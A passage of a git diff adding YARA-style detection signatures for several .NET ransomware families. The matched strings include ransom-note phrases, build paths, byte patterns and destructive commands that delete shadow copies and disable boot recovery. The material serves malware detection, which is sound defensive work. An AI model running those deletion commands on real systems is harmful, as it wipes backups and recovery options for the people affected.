$a_01_1 = {42 00 61 00 63 00 6b 00 67 00 72 00 6f 00 75 00 6e 00 64 00 2e 00 62 00 6d 00 70 00 } //1 Background.bmp + $a_01_2 = {5c 00 48 00 6f 00 77 00 20 00 54 00 6f 00 20 00 44 00 65 00 63 00 72 00 79 00 70 00 74 00 20 00 4d 00 79 00 20 00 46 00 69 00 6c 00 65 00 73 00 2e 00 68 00 74 00 6d 00 6c 00 } //1 \How To Decrypt My Files.html + $a_01_3 = {52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 20 00 46 00 69 00 6c 00 65 00 73 00 20 00 41 00 6c 00 72 00 65 00 61 00 64 00 79 00 20 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 21 00 } //2 Ransomware Files Already Encrypted! + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/EvilBunny/Ransom_MSIL_EvilBunny_SK_MTB.yar b/Ransom/MSIL/EvilBunny/Ransom_MSIL_EvilBunny_SK_MTB.yar new file mode 100644 index 0000000000..0b1f057a6f --- /dev/null +++ b/Ransom/MSIL/EvilBunny/Ransom_MSIL_EvilBunny_SK_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_MSIL_EvilBunny_SK_MTB{ + meta: + description = "Ransom:MSIL/EvilBunny.SK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {24 65 38 61 64 37 35 62 63 2d 61 35 36 66 2d 34 31 39 63 2d 39 34 65 61 2d 64 39 64 33 35 33 32 39 66 37 38 33 } //1 $e8ad75bc-a56f-419c-94ea-d9d35329f783 + $a_81_1 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 20 77 69 74 68 20 61 20 73 70 65 63 69 61 6c 20 65 6e 63 72 79 70 74 69 6f 6e 20 61 6c 67 6f 72 79 74 68 6d } //1 Your files are encrypted with a special encryption algorythm + $a_81_2 = {45 76 69 6c 42 75 6e 6e 79 5f 52 41 4e 53 4f 4d 57 41 52 45 5c 6f 62 6a 5c 44 65 62 75 67 5c 45 76 69 6c 42 75 6e 6e 79 5f 52 41 4e 53 4f 4d 57 41 52 45 2e 70 64 62 } //1 EvilBunny_RANSOMWARE\obj\Debug\EvilBunny_RANSOMWARE.pdb + $a_81_3 = {43 3a 5c 57 69 6e 64 6f 77 73 5c 42 53 4f 44 2e 65 78 65 } //1 C:\Windows\BSOD.exe + $a_81_4 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 20 62 79 20 45 76 69 6c 42 75 6e 6e 79 21 } //1 Your files are encrypted by EvilBunny! + $a_81_5 = {45 76 69 6c 42 75 6e 6e 79 5f 52 41 4e 53 4f 4d 57 41 52 45 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //1 EvilBunny_RANSOMWARE.Properties.Resources + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FafsbCrypt/Ransom_MSIL_FafsbCrypt_PA_MTB.yar b/Ransom/MSIL/FafsbCrypt/Ransom_MSIL_FafsbCrypt_PA_MTB.yar new file mode 100644 index 0000000000..5cadb5113f --- /dev/null +++ b/Ransom/MSIL/FafsbCrypt/Ransom_MSIL_FafsbCrypt_PA_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_FafsbCrypt_PA_MTB{ + meta: + description = "Ransom:MSIL/FafsbCrypt.PA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {2e 00 63 00 72 00 70 00 74 00 } //1 .crpt + $a_01_1 = {49 00 73 00 54 00 65 00 73 00 74 00 54 00 72 00 75 00 65 00 2e 00 74 00 78 00 74 00 } //1 IsTestTrue.txt + $a_01_2 = {44 00 75 00 6d 00 70 00 53 00 74 00 61 00 63 00 6b 00 2e 00 6c 00 6f 00 67 00 2e 00 74 00 6d 00 70 00 } //1 DumpStack.log.tmp + $a_01_3 = {5c 48 61 63 6b 65 72 2e 70 64 62 } //2 \Hacker.pdb + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*2) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_AYR_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_AYR_MTB.yar new file mode 100644 index 0000000000..b0a5bb4fb0 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_AYR_MTB.yar @@ -0,0 +1,14 @@ + +rule Ransom_MSIL_FileCoder_AYR_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.AYR!MTB,SIGNATURE_TYPE_PEHSTR,05 00 05 00 04 00 00 " + + strings : + $a_01_0 = {66 00 72 00 65 00 65 00 6d 00 6f 00 76 00 69 00 65 00 73 00 2e 00 6c 00 69 00 76 00 65 00 62 00 6c 00 6f 00 67 00 33 00 36 00 35 00 2e 00 63 00 6f 00 6d 00 } //2 freemovies.liveblog365.com + $a_01_1 = {44 00 6f 00 20 00 79 00 6f 00 75 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 20 00 79 00 6f 00 75 00 72 00 20 00 69 00 6e 00 74 00 65 00 6e 00 74 00 69 00 6f 00 6e 00 20 00 74 00 6f 00 20 00 75 00 74 00 69 00 6c 00 69 00 7a 00 65 00 20 00 74 00 68 00 69 00 73 00 20 00 73 00 74 00 72 00 69 00 6e 00 67 00 20 00 66 00 6f 00 72 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 70 00 75 00 72 00 70 00 6f 00 73 00 65 00 73 00 3f 00 } //1 Do you confirm your intention to utilize this string for decryption purposes? + $a_01_2 = {59 00 6f 00 75 00 20 00 61 00 72 00 65 00 20 00 68 00 69 00 74 00 20 00 77 00 69 00 74 00 68 00 20 00 61 00 20 00 76 00 69 00 72 00 75 00 73 00 2e 00 } //1 You are hit with a virus. + $a_01_3 = {59 00 6f 00 75 00 72 00 20 00 69 00 73 00 73 00 75 00 65 00 20 00 69 00 73 00 20 00 74 00 68 00 61 00 74 00 20 00 79 00 6f 00 75 00 72 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 20 00 69 00 73 00 20 00 63 00 6f 00 6d 00 70 00 6c 00 65 00 74 00 65 00 6c 00 79 00 20 00 6c 00 6f 00 63 00 6b 00 65 00 64 00 20 00 64 00 6f 00 77 00 6e 00 2e 00 20 00 59 00 6f 00 75 00 20 00 6e 00 65 00 65 00 64 00 20 00 74 00 6f 00 20 00 70 00 61 00 79 00 20 00 75 00 70 00 2e 00 } //1 Your issue is that your computer is completely locked down. You need to pay up. + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAA_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAA_MTB.yar new file mode 100644 index 0000000000..5c69b43546 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAA_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_FileCoder_BAA_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.BAA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {52 00 61 00 6e 00 73 00 6f 00 6d 00 77 00 61 00 72 00 65 00 45 00 6e 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 } //1 RansomwareEncryption + $a_01_1 = {2e 00 72 00 61 00 70 00 65 00 64 00 } //1 .raped + $a_01_2 = {44 00 69 00 73 00 70 00 6c 00 61 00 79 00 52 00 61 00 6e 00 73 00 6f 00 6d 00 4e 00 6f 00 74 00 65 00 } //1 DisplayRansomNote + $a_01_3 = {72 00 65 00 61 00 64 00 6d 00 65 00 2e 00 74 00 78 00 74 00 } //1 readme.txt + $a_01_4 = {4d 00 61 00 6c 00 77 00 61 00 72 00 65 00 48 00 65 00 6c 00 70 00 65 00 72 00 2e 00 64 00 61 00 74 00 } //1 MalwareHelper.dat + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAC_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAC_MTB.yar new file mode 100644 index 0000000000..fd5a87587a --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAC_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_MSIL_FileCoder_BAC_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.BAC!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {59 6f 75 72 20 66 69 6c 65 73 20 61 72 65 20 65 6e 63 72 79 70 74 65 64 2c 20 69 6e 63 6c 75 64 69 6e 67 20 64 6f 63 75 6d 65 6e 74 73 2c 20 70 68 6f 74 6f 73 2c 20 76 69 64 65 6f 73 2c 20 64 61 74 61 62 61 73 65 73 2c 20 61 6e 64 20 6f 74 68 65 72 20 66 69 6c 65 73 } //1 Your files are encrypted, including documents, photos, videos, databases, and other files + $a_81_1 = {72 61 6e 73 6f 6d 77 61 72 65 2e 70 64 62 } //1 ransomware.pdb + $a_81_2 = {49 6e 70 75 74 20 44 65 63 72 79 70 74 20 4b 65 79 } //1 Input Decrypt Key + $a_81_3 = {43 68 65 63 6b 20 50 61 79 6d 65 6e 74 } //1 Check Payment + $a_81_4 = {52 61 6e 73 6f 6d 77 61 72 65 } //1 Ransomware + $a_81_5 = {2e 6c 6f 63 6b } //1 .lock + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAD_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAD_MTB.yar new file mode 100644 index 0000000000..d69d065d3a --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_BAD_MTB.yar @@ -0,0 +1,16 @@ + +rule Ransom_MSIL_FileCoder_BAD_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.BAD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_81_0 = {2f 4c 49 53 54 20 4f 46 20 45 4e 43 52 59 50 54 45 44 20 46 49 4c 45 53 } //1 /LIST OF ENCRYPTED FILES + $a_81_1 = {20 46 49 4c 45 53 20 57 45 52 45 20 45 4e 43 52 59 50 54 45 44 20 53 55 43 43 45 53 53 46 55 4c 4c 59 } //1 FILES WERE ENCRYPTED SUCCESSFULLY + $a_81_2 = {2f 50 41 59 4d 45 4e 54 20 49 4e 53 54 52 55 43 54 49 4f 4e 53 } //1 /PAYMENT INSTRUCTIONS + $a_81_3 = {20 68 6f 75 72 73 20 77 69 6c 6c 20 72 65 73 75 6c 74 20 69 6e 20 74 68 65 20 72 61 6e 73 6f 6d 20 61 6d 6f 75 6e 74 20 69 6e 63 72 65 61 73 69 6e 67 20 74 6f } //1 hours will result in the ransom amount increasing to + $a_81_4 = {2f 48 4f 57 20 54 4f 20 44 45 43 52 59 50 54 } //1 /HOW TO DECRYPT + $a_81_5 = {2f 41 6c 6c 4c 6f 63 6b 65 64 2e 74 78 74 } //1 /AllLocked.txt + condition: + ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MD_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MD_MTB.yar similarity index 78% rename from Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MD_MTB.yar rename to Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MD_MTB.yar index 22a50ec398..71d0376dd3 100644 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MD_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MD_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_BAT_FileCoder_MD_MTB{ +rule Ransom_MSIL_FileCoder_MD_MTB{ meta: - description = "Trojan:BAT/FileCoder.MD!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " + description = "Ransom:MSIL/FileCoder.MD!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 04 00 00 " strings : $a_01_0 = {64 69 73 61 62 6c 65 52 65 63 6f 76 65 72 79 4d 6f 64 65 } //1 disableRecoveryMode diff --git a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MH_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MH_MTB.yar similarity index 68% rename from Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MH_MTB.yar rename to Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MH_MTB.yar index e12e4ec2b2..193c659403 100644 --- a/Trojan/BAT/Filecoder/Trojan_BAT_FileCoder_MH_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MH_MTB.yar @@ -1,7 +1,7 @@ -rule Trojan_BAT_FileCoder_MH_MTB{ +rule Ransom_MSIL_FileCoder_MH_MTB{ meta: - description = "Trojan:BAT/FileCoder.MH!MTB,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 00 " + description = "Ransom:MSIL/FileCoder.MH!MTB,SIGNATURE_TYPE_PEHSTR,0c 00 0c 00 03 00 00 " strings : $a_01_0 = {44 6f 6e 6e 79 68 75 62 } //10 Donnyhub diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MJ_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MJ_MTB.yar new file mode 100644 index 0000000000..7161d51203 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MJ_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_MSIL_FileCoder_MJ_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.MJ!MTB,SIGNATURE_TYPE_PEHSTR,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {7e 03 00 00 04 7e 02 00 00 04 07 28 07 00 00 06 0c } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MV_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MV_MTB.yar index 9016294581..11a4a36e61 100644 --- a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MV_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_MV_MTB.yar @@ -10,4 +10,21 @@ rule Ransom_MSIL_FileCoder_MV_MTB{ condition: ((#a_81_0 & 1)*1+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1) >=3 +} +rule Ransom_MSIL_FileCoder_MV_MTB_2{ + meta: + description = "Ransom:MSIL/FileCoder.MV!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 08 00 00 " + + strings : + $a_00_0 = {66 61 6b 65 63 72 79 2e 70 64 62 } //10 fakecry.pdb + $a_80_1 = {62 69 74 63 6f 69 6e } //bitcoin 1 + $a_01_2 = {79 00 6f 00 75 00 72 00 20 00 66 00 69 00 6c 00 65 00 73 00 20 00 68 00 61 00 76 00 65 00 20 00 62 00 65 00 65 00 6e 00 20 00 65 00 6e 00 63 00 72 00 79 00 70 00 74 00 65 00 64 00 } //1 your files have been encrypted + $a_00_3 = {52 61 6e 73 6f 6d 77 61 72 65 2e 70 64 62 } //10 Ransomware.pdb + $a_00_4 = {43 61 6c 63 75 6c 61 74 6f 72 2e 65 78 65 } //10 Calculator.exe + $a_00_5 = {45 6e 63 72 79 70 74 46 69 6c 65 } //1 EncryptFile + $a_00_6 = {70 00 61 00 79 00 6d 00 65 00 6e 00 74 00 20 00 63 00 6f 00 6e 00 66 00 69 00 72 00 6d 00 61 00 74 00 69 00 6f 00 6e 00 } //1 payment confirmation + $a_00_7 = {70 72 6f 6a 65 63 74 6d 61 72 73 2e 65 78 65 } //10 projectmars.exe + condition: + ((#a_00_0 & 1)*10+(#a_80_1 & 1)*1+(#a_01_2 & 1)*1+(#a_00_3 & 1)*10+(#a_00_4 & 1)*10+(#a_00_5 & 1)*1+(#a_00_6 & 1)*1+(#a_00_7 & 1)*10) >=12 + } \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_SPX_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_SPX_MTB.yar new file mode 100644 index 0000000000..1694c7cf84 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_FileCoder_SPX_MTB.yar @@ -0,0 +1,13 @@ + +rule Ransom_MSIL_FileCoder_SPX_MTB{ + meta: + description = "Ransom:MSIL/FileCoder.SPX!MTB,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 00 " + + strings : + $a_03_0 = {20 00 04 00 00 73 ?? 00 00 0a 0b 07 03 6f ?? 00 00 0a 6f ?? 00 00 0a 07 06 17 6f ?? 00 00 0a 0c 08 28 ?? 00 00 0a 0d 09 13 04 de 12 07 16 6f ?? 00 00 0a dc 07 2c 06 07 6f ?? 00 00 0a dc 11 04 2a } //2 + $a_01_1 = {76 00 73 00 73 00 61 00 64 00 6d 00 69 00 6e 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 73 00 20 00 2f 00 61 00 6c 00 6c 00 20 00 2f 00 71 00 75 00 69 00 65 00 74 00 20 00 26 00 20 00 77 00 6d 00 69 00 63 00 20 00 73 00 68 00 61 00 64 00 6f 00 77 00 63 00 6f 00 70 00 79 00 20 00 64 00 65 00 6c 00 65 00 74 00 65 00 } //1 vssadmin delete shadows /all /quiet & wmic shadowcopy delete + $a_01_2 = {62 00 63 00 64 00 65 00 64 00 69 00 74 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 62 00 6f 00 6f 00 74 00 73 00 74 00 61 00 74 00 75 00 73 00 70 00 6f 00 6c 00 69 00 63 00 79 00 20 00 69 00 67 00 6e 00 6f 00 72 00 65 00 61 00 6c 00 6c 00 66 00 61 00 69 00 6c 00 75 00 72 00 65 00 73 00 20 00 26 00 20 00 62 00 63 00 64 00 65 00 64 00 69 00 74 00 20 00 2f 00 73 00 65 00 74 00 20 00 7b 00 64 00 65 00 66 00 61 00 75 00 6c 00 74 00 7d 00 20 00 72 00 65 00 63 00 6f 00 76 00 65 00 72 00 79 00 65 00 6e 00 61 00 62 00 6c 00 65 00 64 00 20 00 6e 00 6f 00 } //1 bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no + condition: + ((#a_03_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AFL_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AFL_MTB.yar new file mode 100644 index 0000000000..8c1f902a6c --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AFL_MTB.yar @@ -0,0 +1,11 @@ + +rule Ransom_MSIL_Filecoder_AFL_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.AFL!MTB,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 01 00 00 " + + strings : + $a_03_0 = {0b 07 20 00 01 00 00 6f ?? 00 00 0a 00 07 20 80 00 00 00 6f ?? 00 00 0a 00 07 18 6f ?? 00 00 0a 00 03 04 20 50 c3 00 00 73 ?? 00 00 0a 0c 07 08 07 6f ?? 00 00 0a 1e 5b 6f ?? 00 00 0a 6f } //2 + condition: + ((#a_03_0 & 1)*2) >=2 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AKD_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AKD_MTB.yar new file mode 100644 index 0000000000..506bbb8d0e --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_AKD_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_Filecoder_AKD_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.AKD!MTB,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 00 " + + strings : + $a_03_0 = {02 7b 12 00 00 04 72 2c 06 00 70 28 ?? 00 00 06 6f 4a 00 00 0a 72 3a 06 00 70 28 ?? 00 00 0a 6f 4a 00 00 0a 72 48 06 00 70 28 ?? 00 00 06 6f 4c 00 00 0a 6f 4d 00 00 0a 6f 4a 00 00 0a 72 52 06 00 70 72 66 06 00 70 6f 4a 00 00 0a 28 ?? 00 00 0a 11 09 17 d6 13 09 } //3 + $a_01_1 = {03 28 64 00 00 0a 0a 02 06 05 28 1a 00 00 06 0b 04 07 28 65 00 00 0a de 0e } //3 + condition: + ((#a_03_0 & 1)*3+(#a_01_1 & 1)*3) >=6 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_EDK_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_EDK_MTB.yar new file mode 100644 index 0000000000..228f140a37 --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_EDK_MTB.yar @@ -0,0 +1,15 @@ + +rule Ransom_MSIL_Filecoder_EDK_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.EDK!MTB,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {72 61 6e 73 6f 6d 65 77 61 72 65 2e 70 73 31 } //1 ransomeware.ps1 + $a_01_1 = {44 4f 20 4e 4f 54 20 69 67 6e 6f 72 65 20 74 68 69 73 20 6d 65 73 73 61 67 65 } //1 DO NOT ignore this message + $a_01_2 = {79 6f 75 72 20 66 69 6c 65 73 20 77 69 6c 6c 20 62 65 20 6c 6f 73 74 20 66 6f 72 65 76 65 72 21 } //1 your files will be lost forever! + $a_01_3 = {55 6e 69 4b 65 79 4e 54 2e 65 78 65 } //1 UniKeyNT.exe + $a_01_4 = {67 65 74 50 61 73 73 77 6f 72 64 } //1 getPassword + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MA_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MA_MTB.yar index 65371071b9..076a408146 100644 --- a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MA_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MA_MTB.yar @@ -1,5 +1,15 @@ rule Ransom_MSIL_Filecoder_MA_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 00 " + + strings : + $a_01_0 = {72 11 00 00 70 28 3a 00 00 06 7e 1e 00 00 04 } //1 + condition: + ((#a_01_0 & 1)*1) >=1 + +} +rule Ransom_MSIL_Filecoder_MA_MTB_2{ meta: description = "Ransom:MSIL/Filecoder.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 00 " @@ -15,7 +25,7 @@ rule Ransom_MSIL_Filecoder_MA_MTB{ ((#a_03_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=7 } -rule Ransom_MSIL_Filecoder_MA_MTB_2{ +rule Ransom_MSIL_Filecoder_MA_MTB_3{ meta: description = "Ransom:MSIL/Filecoder.MA!MTB,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 00 " diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MK_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MK_MTB.yar index 09994ae36c..abdcac7e7c 100644 --- a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MK_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_MK_MTB.yar @@ -47,4 +47,18 @@ rule Ransom_MSIL_Filecoder_MK_MTB_3{ condition: ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_80_6 & 1)*1+(#a_80_7 & 1)*1+(#a_80_8 & 1)*1+(#a_80_9 & 1)*1+(#a_80_10 & 1)*1) >=7 +} +rule Ransom_MSIL_Filecoder_MK_MTB_4{ + meta: + description = "Ransom:MSIL/Filecoder.MK!MTB,SIGNATURE_TYPE_PEHSTR,04 00 04 00 05 00 00 " + + strings : + $a_01_0 = {66 00 69 00 6c 00 65 00 73 00 20 00 6f 00 6e 00 20 00 79 00 6f 00 75 00 72 00 20 00 63 00 6f 00 6d 00 70 00 75 00 74 00 65 00 72 00 } //1 files on your computer + $a_01_1 = {70 00 65 00 72 00 73 00 6f 00 6e 00 61 00 6c 00 20 00 64 00 65 00 63 00 72 00 79 00 70 00 74 00 69 00 6f 00 6e 00 20 00 63 00 6f 00 64 00 65 00 } //1 personal decryption code + $a_01_2 = {6b 00 65 00 79 00 67 00 72 00 6f 00 75 00 70 00 37 00 37 00 37 00 } //1 keygroup777 + $a_01_3 = {62 00 69 00 74 00 63 00 6f 00 69 00 6e 00 } //1 bitcoin + $a_01_4 = {53 00 4f 00 46 00 54 00 57 00 41 00 52 00 45 00 5c 00 4d 00 69 00 63 00 72 00 6f 00 73 00 6f 00 66 00 74 00 5c 00 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 5c 00 52 00 75 00 6e 00 } //1 SOFTWARE\Microsoft\Windows\CurrentVersion\Run + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=4 + } \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITB_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITB_MTB.yar new file mode 100644 index 0000000000..511224052a --- /dev/null +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITB_MTB.yar @@ -0,0 +1,12 @@ + +rule Ransom_MSIL_Filecoder_NITB_MTB{ + meta: + description = "Ransom:MSIL/Filecoder.NITB!MTB,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 02 00 00 " + + strings : + $a_03_0 = {73 0b 00 00 0a 25 72 d3 00 00 70 6f ?? 00 00 0a 25 72 ed 00 00 70 6f ?? 00 00 0a 25 72 2d 00 00 70 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 2a } //2 + $a_03_1 = {73 0b 00 00 0a 25 72 4d 01 00 70 6f ?? 00 00 0a 25 72 67 01 00 70 6f ?? 00 00 0a 25 17 6f ?? 00 00 0a 25 16 6f ?? 00 00 0a 28 ?? 00 00 0a 6f ?? 00 00 0a 2a } //1 + condition: + ((#a_03_0 & 1)*2+(#a_03_1 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITE_MTB.yar b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITE_MTB.yar index edddfa6c6c..5af73f98b4 100644 --- a/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITE_MTB.yar +++ b/Ransom/MSIL/FileCoder/Ransom_MSIL_Filecoder_NITE_MTB.yar @@ -8,4 +8,18 @@ rule Ransom_MSIL_Filecoder_NITE_MTB{ condition: ((#a_03_0 & 1)*2) >=2 +} +rule Ransom_MSIL_Filecoder_NITE_MTB_2{ + meta: + description = "Ransom:MSIL/Filecoder.NITE!MTB,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 00 " + + strings : + $a_03_0 = {73 16 00 00 0a 25 72 ?? 